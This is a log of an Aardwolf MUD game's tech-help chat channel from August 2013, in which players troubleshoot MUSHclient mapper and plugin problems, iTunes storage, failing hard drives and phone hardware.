T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: https://code.google.com/p/aardwolfclientpackage/wiki/GMCPmapper tells how to get it to show the rooms even on continents
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bochner Tech: appreciate it
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: there's info on all of the plugins that the aard MUSHclient package ships with on that site, it's the site for development of the client
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bochner Tech: nice, the stuff on this mud is insane, completely new to aardwolf, trying to figure it all out lol
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bochner Tech: is there a way to reset the mapper, my bigmap image is stuck in my mapper, whether I detach it or not
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bochner Tech: when I type look it will not initialize, tried reinstalling and resetting and everything, gah >.>
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: what happens when you type "bigmap off"?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bochner Tech: Bigmap already disabled.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bochner Tech: my mapper will not initialize at all, it just says MUSHclient mapper version 2.5
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bast Tech: type "protocols", is GMCP on?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: Exactly.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bochner Tech: GMCP       201 GMCP/ATCP2 specification.                       ON 
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bast Tech: type "protocols gmcp" is Room on?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: then type "prot gmcp" and look at Room
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bochner Tech: Room             Receive room updates - used for mapping.            ON 
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bast Tech: type "gmcpdebug 1" and move a room, do you see the GMCP room messagE?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bast Tech: it should start with "room.info" and be in orange
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bochner Tech: yea some oarge code looking text
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bast Tech: "gmcpdebug 0" will turn it off
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: and the mapper is still saying mapper version 2.5?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bochner Tech: yup
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bast Tech: let me check to see what else it needs to initialize
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: quit, close MUSHclient and re-launch
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bochner Tech: it was working yesterday, ok brb
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bochner Tech: still nothing lol
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bochner Tech: should I just reinstall?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: if it weren't installed, the window wouldn't even be there...doesn't make sense...have you installed or removed any plugins today?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bochner Tech: actually its giving me a runtime error when I first log on
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: OK, that's why it's installed but not updating...copy the error to pastebin.com
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bochner Tech: called it runtime mapper
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bast Tech: paste the url to the tech channel please
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bochner Tech: http://pastebin.com/Z62RAE3Z
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bast Tech: close mushclient, copy the file db_backups/Aardwolf.db.Backup_Automatic to Aardwolf.db in your Mushclient directory and then relaunch the client
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: did you maybe copy a mapper database from a copy of the program from when you first created back in 2011?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bochner Tech: ok no idea how to do what you said, I found the db backups, how do I copy it
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: move the file itself...just normal windows file copy...but do it with MUSHclient closed
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bochner Tech: boom, worked
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bochner Tech: appreciate it man
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bast Tech: np, the error message said "malformed database", which means your database became corrupted. If it happens again, you can do the same thing we did to fix it
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bochner Tech: sweet, thanks for the help
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Grumphling Tech: when using Bast's eqDB is serial number a synonum for Id in identify?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Pedsirs Tech: i have just opened up my mush client but my chat window has gone, how do i get it back?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: try typing "resetaard"
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Pedsirs Tech: ty
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Lilleana Tech: anyone really Itunes savvy? 
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Hanslanda Tech: no, but since I have it open I bet I could fake it.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Lilleana Tech: laugh
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Hanslanda Tech: what are you trying to do?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Lilleana Tech: okay so I have a lot of downloaded music/books/movies/etc that I didn't purchase through Itunes - and I want to restore my computer. Any easy way to back it all up?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Hanslanda Tech: flash drive
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Lilleana Tech: i take it i'd just drop my entire itunes folder into it? 
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Hanslanda Tech: Itunes specifically won't restore or otherwise put back onto your computer automatically anything that isn't AAC (or possibly identifiable as having been purchased)
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Lilleana Tech: apparently I have more on my Itunes than space on my computer now, too :-( 
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Hanslanda Tech: it won't even download such media as is stored on your apple devices.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: if you use itunes music match, then you can re-download everything in there from the cloud...
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Lilleana Tech: i take it itunes match isn't going to work for non-itunes downloaded items
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: sure it does
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Lilleana Tech: oh.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Lilleana Tech: oh 25 a year. bah
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Hanslanda Tech: that really pissed me off as I took the time to read in all my hundreds of still-working CDs, and then naively figured that since all those songs were on the iPod Classic Itunes would just resync.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: quite naive...they don't want you and all your friends just syncing each others ipods to each others computers to make a merged library...
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: you CAN put them from the ipod back into itunes, though
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: just not by syncing
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Lilleana Tech: anything I can do about having more itunes data than computer storage? You know, besides buying more storage for my computer. Some trick Im missing? 
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: and since you have your current itunes folder, you can just drag that entire folder over a running itunes to import it all back in
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: free up space...the laws of physics can only be bent so far...
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: can get terabyte USB drives for around 60 bucks...
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: (USB hard drives, not flash for that cost)
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Lilleana Tech: could I buy a external hard drive or flash drive and then just run my itunes from that? - leave it off my computer entirely essentially? 
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: just know that it won't work when not connected...and I recommend forcing it to be a particular drive letter (M for music works ;-)
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Lilleana Tech: hmmm okay ill look into it. thanks
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: that was for Windows, of course...Macs handle drives differently, and don't use drive letters
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Lilleana Tech: yeah I have a mac
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Mushambo Tech: Any chance Acronis or EaseUs Recovery will work on a drive with bad sectors? They'll get everything on a good sector? Or am I looking at a "expert service" ?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There's always a chance. Of course, anything you do to a failing drive has the potential to make it fail harder.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Mushambo Tech: So I should clone it first, if possible, and then work from the clone?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Huh? What did I just say about doing things to a failing drive?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Cloning will run that drive across the whole lot, which is 'doing things'
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Mushambo Tech: So I should just tell the lady friend everything is 100% lost and then anything I magically CAN recover is gravy? :)
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you have been silly enough to work on something without a backup, then the best course of action is to decide how much the data is worth to you (whether $ or effort), and pay that amount straight up - if you do things incrementally as they don't work you will end up spending a whole lot more.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Mushambo Tech: thanks
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Culleus Tech: is there any way to change an exit's level on mushclient mapper from the command line?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: rtfm, mapper help exits
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Hanslanda Tech: you can work with the mapper via gui?  I thought it was all via the MAPPER command?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: you can start it from the command line, but it brings up the GUI
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: the full-GUI way is right-click on the room
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: can do lots of things from there
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Culleus Tech: how do you start it from the command line?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: by doing what remarto said
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Culleus Tech: perhaps it's that i have an outdated version. there's no such command in my mapper help.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: then do mapper help
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: mapper help xxx is over a year old...you'd do well to update :-)
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: but just "mapper help" before it was split up
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Culleus Tech: indeed
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: yeah, it was r1627 where help was put into categories...may 2012
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Culleus Tech: funny, i'm using 1748. i'm presuming i didn't update it correctly.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i use ubuntu, and i noticed sometimes my desktop stuff dissapears (folders/icons) i think it happens after suspend, i dont know if its because im using wallch to change my background, or another reason, anyone have any suggestions on what may cause that to happen?
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Quadrapus Tech: Any excel gurus around?
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Book of Etzli Tech: I know a few, and I've learned a few tricks.
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Book of Etzli Tech: What's up?
T3/r7/2013-08-12.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: have you ever wished for aardmud aliases to have variable options? would it be too difficult to code?
T3/r7/2013-08-12.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: yep. that tp was to prevent having too many keywords for some.. technical reason. i kinda remember one discussion about that idea
T3/r7/2013-08-12.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: mis
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Arystul Tech: anyone have a script for aardmush that practices sellup spells after remort? :P
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Trachx Tech: just copy-paste spell list to editor, precede it with 'pra' and copy-paste to mud
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Swalec Tech: do you mean "practices" as in "calls practice", or practice as in repeatedly casts
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Bast Tech: Arystul: my bast_spellup program will autopractice spells in your spellup list when you go to a trainer
T3/r7/2013-08-12.txt.gz:{chan ch=tech}HelperMan Hadar Tech: if i want to store info in a DB that can change (between 1-15 fields) would it be better to just create the 15 fields and put the info/pull the not null info?
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Ranrr Tech: Unless storage space needs to be optimized, that would probably be the most efficient. Maybe have some variable keeping track of how many fields are in use to avoid having to check them all.
T3/r7/2013-08-12.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i already do when im putting the info in the DB, i dont when the info is being pulled from the DB, i should add the extra field for that
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Lilleana Tech: I'm trying to consolidate my itunes library and it keeps telling me that I dont have permission?
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Lilpig Tech: anyone has idea how to put delay into triggers?
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Ontuct Tech: my iPod nano bit the bullet, it was a 5th gen (no touch) is there an other brand equivalent or should I keep watching ebay?
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: so how about that hyperloop
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Loreli Tech: Anyone know a simple android app that will let me input an expense/income amt, date, name/note, and display a balance?
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Borgo Tech: is "..variable.." the best way to call a variable in a lua statement
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Mushambo Tech: What's the difference between i686 and i486 architecture?
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Mohan Tech: Trigger function "invmon" not found or had a previous error. what is the command to fix it?
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Turie Tech: plugins reload bsst
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Mohan Tech: doesn't worked turie
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Turie Tech: Hrmmm...
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Mohan Tech: Bast told me the command last day, but I do not remember which one is
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Turie Tech: Close down MUSHclient and re-open it.
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Mohan Tech: ok, I will try
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Mohan Tech: same =(
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Mohan Tech: doesn't work
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Bast Tech: plugins reload eqdb
T3/r7/2013-08-12.txt.gz:{chan ch=tech}The Slithy Toves Tech: Mohan: You might try going to file->plugins and then re-installing xeqDB
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Bast Tech: then "eqdb refresh"
T3/r7/2013-08-12.txt.gz:{chan ch=tech}The Slithy Toves Tech: nevermind
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Turie Tech: eqdb refresh then eqdb clean
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Mohan Tech: thanks a lot
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Mohan Tech: thank you very much Turie and Bast
T3/r7/2013-08-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: its not letting me turn off the skillgains tags is there a reason why this might be so?
T3/r7/2013-08-12.txt.gz:{chan ch=tech}HelperMan Hadar Tech: a plugin keeps enabling it?
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: HYPERLOOP
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I have a confession to make
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I am Elon Musk
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Dat Hyperloop.
T3/r7/2013-08-12.txt.gz:{chan ch=tech}HelperMan Hadar Tech: if you are doing to do a ssd for OS(windows) and a data drive, how big should the ssd be?
T3/r7/2013-08-12.txt.gz:{chan ch=tech}November Tech: mine is 80gb
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I'm running pretty successfully with 80.
T3/r7/2013-08-12.txt.gz:{chan ch=tech}November Tech: I have a 1tb raid-1 
T3/r7/2013-08-12.txt.gz:{chan ch=tech}November Tech: between those two they work well
T3/r7/2013-08-12.txt.gz:{chan ch=tech}HelperMan Hadar Tech: thanks
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Ranrr Tech: I have a 120GB SSD and 2GB on a NAS. Not windows though...
T3/r7/2013-08-12.txt.gz:{chan ch=tech}Ranrr Tech: That should be 2TB on NAS.
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: so with companies like AWS etc. has it gotten really cheap to host a simple game like aardwolf?
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: hardware, bandwidth, servers all better, and this game is still simple text, how much do you think we need in donations to keep it up in perpetuity?
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Ranrr Tech: help hardware
T3/r7/2013-08-13.txt.gz:{chan ch=tech}HelperMan Hadar Tech: anyone use Corsair Obsidian 550D computer case? or know of a decent one that helps muffle noise
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: wow almost 4 figures a month, that is suprrisingly high to me
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: not that I know anything about costs
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: hadar no, but I would like to build an almost completely silent PC so if you find great parts please remember me
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Ranrr Tech: hosting in the US is more expensive than in europe
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Ranrr Tech: Put the PC in another room or a closet, and use 10 meter HDMI and USB cables :D
T3/r7/2013-08-13.txt.gz:{chan ch=tech}HelperMan Hadar Tech: does not work when your room is the size of some bathrooms
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: yea, NYC here same issue
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Ranrr Tech: Your house only has 1 room?
T3/r7/2013-08-13.txt.gz:{chan ch=tech}HelperMan Hadar Tech: my bedroom, and my moms, nowhere outside of the bedroom to store a tower
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Ranrr Tech: Personally, low power and silent is top on my prio list for a new PC. I got a intel NUC, it's pretty silent and uses very little power. 
T3/r7/2013-08-13.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i was asking about the case because they use it in this article: http://www.pcworld.com/article/255764/how_to_build_an_energy_efficient_and_quiet_gaming_pc.html
T3/r7/2013-08-13.txt.gz:{chan ch=tech}[Deputy] Westclox Tech: is there a way to cut and paste from notepad or word into a note on mush without losing the spaces in between lines?
T3/r7/2013-08-13.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: actually put some spaces or other character besides tab or newline there
T3/r7/2013-08-13.txt.gz:{chan ch=tech}[Deputy] Westclox Tech: thanks, putting a . in the empty lines worked like a charm
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Aweyn Tech: I've been thinking; if you take Synaptic and rip most of the packages from a Linux Mint install, do you have Ubuntu?
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Hjleethomas Tech: Can anyone please help me? I mistakenly delete the clear label and i can't figure out what should i put in label in order to restore it.
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Trachx Tech: what is 'clear label'?
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Nuanse Tech: .h 10
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: sounds like a blowtorch thing
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Nuanse Tech: put in tomato. then you can use week to ponder on which way you pronounce it
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Hjleethomas Tech: i mean one of the label that give by default, if i touch them and different label setting was popped up... uhh it's hard to explain
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Trachx Tech: first: what application? 
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Hjleethomas Tech: what do you mean by application? I know nothing about this side... :(
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Ghargan Tech: what lost it's "label" is what we are trying to establish
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Hjleethomas Tech: that one with 'clear written on it'. i remember something like '.locust? .loadset? was command it contains...  
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Hjleethomas Tech: -
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Hjleethomas Tech: oh i found it! Sorry for bothering and thank you for trying to help me anyway.
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Tripphippie Tech: Is anyone around familiar with Unreal Engine 3 toolset?
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Enchantra Tech: Who are the best plugin creaters for mush
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Chislon Tech: what laptop will run EQ Next adn all those things
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Any laptop...
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Enchantra: Bast, Fiendish, among others.
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Ghargan Tech: bast's plugins are pretty good
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Chislon Tech: any laptop will not
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Ghargan Tech: haven't found fiendish's yet or tried them
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Any laptop will.
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Bast Tech: fiendish wrote the aardwolf mushclient
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Chislon Tech: most laptops wont run planetside 2 etc
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Ghargan Tech: well then i have tried his :D
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Chislon Tech: how can you say it will run eq next?
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Bast Tech: well, he wrote the aardwolf specific plugins
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Ghargan Tech: Bast is there anyway to send you a FAQ update thingy for your plugins so new people using them don't have the issues i've had
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Book of Etzli Tech: If you're talking about Everquest, then you should be more clear. EQ Next very well could be referring to a plugin. :) But still, any laptop can, provided it is updated with the requirements.
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Book of Etzli Tech: If you really want to know, go to 'canirunit.com' (I think that's what it is) and it'll check your laptop as well as provide system requirements.
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Bast Tech: Ghargan: send me an email with your issues and i will add it
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Chislon Tech: EQ Next is the name of the yet unreleased new everquest game
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Chislon Tech: thanks
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Ghargan Tech: not issues but things i've discovered the hard way, that other people will also be going how do i do that about :-) once you get past the hickups i had your plugins are damn nice
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Book of Etzli Tech: If it's unreleased, it may not show up on the site I gave you. Instead, I'd go to the company's website and check the requirements there.
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Chislon Tech: ya thanks
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Book of Etzli Tech: You're welcome.
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Like.A.G6 Kateshei Tech: can someone help me? my phone is acting weird and I don't know what it can be
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Like.A.G6 Kateshei Tech: anyone here that has knowledge of blackberry smart phones?
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Logansen Tech: how is acting weird?
T3/r7/2013-08-13.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Pull the battery out, wait 30 seconds, put it back in!
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Like.A.G6 Kateshei Tech: its scrolling up by itself and jumping around.
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Like.A.G6 Kateshei Tech: I have wiped...rebooted....taken out the battery for more then 15 minutes
T3/r7/2013-08-13.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Probably a bad trackpad, or whatever they call those....
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Flak Tech: probably got a turd lodged in there somewhere
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Like.A.G6 Kateshei Tech: could it be the memory card? I have noticed problems since I've put it in. its a 16GB card
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Loshy Tech: anyone super familiar with SND please send tell thanks
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Like.A.G6 Kateshei Tech: okay, I've now taken out the battery for 5 minutes. let's see if this works
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Like.A.G6 Kateshei Tech: nope...still scrolling and jumping by itself *cry*
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Like.A.G6 Kateshei Tech: isn't the memory card...took it out and it still did it. suppose its off to the repair shop. 
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: blow on your ball?
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Flak Tech: lol
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: like compressed air
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Like.A.G6 Kateshei Tech: not funny Flak...
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: and roll it around while you do
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: bah was intentionally phrased to be funny
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Tech: Vorpal Vorpes grins evilly.
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Like.A.G6 Kateshei Tech: only the older blackberries have trackballs...the newer ones have trackpads
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: oh, well i don't know then.
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: what model?
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Like.A.G6 Kateshei Tech: 9320
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Like.A.G6 Kateshei Tech: and its about 8 months old
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: you try anything like this? http://www.youtube.com/watch?v=wFR43_i8_fk
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Like.A.G6 Kateshei Tech: what? is it a video clip of someone smashing their phone with a ten pound hammer?
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: sure
T3/r7/2013-08-13.txt.gz:{chan ch=tech}HelperMan Hadar Tech: isent there a mush command to show which rooms are unlinked in an area?
T3/r7/2013-08-13.txt.gz:{chan ch=tech}HelperMan Hadar Tech: any way to get a room off mapper unmapped? in reinhold there is a room that leads to a nomap room, and so if i go east, it wont clear it
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Grelmar Tech: can i rearrange windows
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Blonk Tech: do you mean for the aardwolf client?
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Grelmar Tech: yes
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Blonk Tech: yep, should just be click and drag
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Decimator Tech: What's causing me to get this error message in Aard's version of MUSHclient:  Send-to-script cannot execute because scripting is not enabled.
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Sounds like Scripting isn't enabled.
T3/r7/2013-08-13.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: you have scripting disabled
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Decimator Tech: Is there a way to turn it back on?
T3/r7/2013-08-13.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: ctrl+shift+6 click enable scripting
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Decimator Tech: Alright, thank you; I think that fixed it.
T3/r7/2013-08-13.txt.gz:{chan ch=tech}Tech: The Dragon RandAlthor goes: "No Problem!"
T3/r7/2013-08-13.txt.gz:{chan ch=tech}HelperMan Hadar Tech: on some youtube videos im getting some "snow" stuff its green and yellow, has anyone had this problem? and how did you fix?
T3/r7/2013-08-14.txt.gz:{chan ch=tech}Loktar Tech: Daughter hit something again.. when I try to open my MUSH client, the Top only says MUSHclient, and I get an, Unexpected File Format error popup at start.
T3/r7/2013-08-14.txt.gz:{chan ch=tech}Loktar Tech: Anyone got an idea how to undo the problem.
T3/r7/2013-08-14.txt.gz:{chan ch=tech}The hairy Hollister Tech: I got a question on 3Ds max. anyone familiar with it?
T3/r7/2013-08-14.txt.gz:{chan ch=tech}Narhtan Tech: nope
T3/r7/2013-08-14.txt.gz:{chan ch=tech}Tymas Tech: how do i change starting room with mapper for an area
T3/r7/2013-08-14.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: depends on the plugin don't think that is built in to Mush.  try xrt set for the winkle one though, I think?
T3/r7/2013-08-14.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: when you are in the room of course
T3/r7/2013-08-14.txt.gz:{chan ch=tech}Tymas Tech: aah, xset mark
T3/r7/2013-08-14.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Samsonite!!! I was way off!
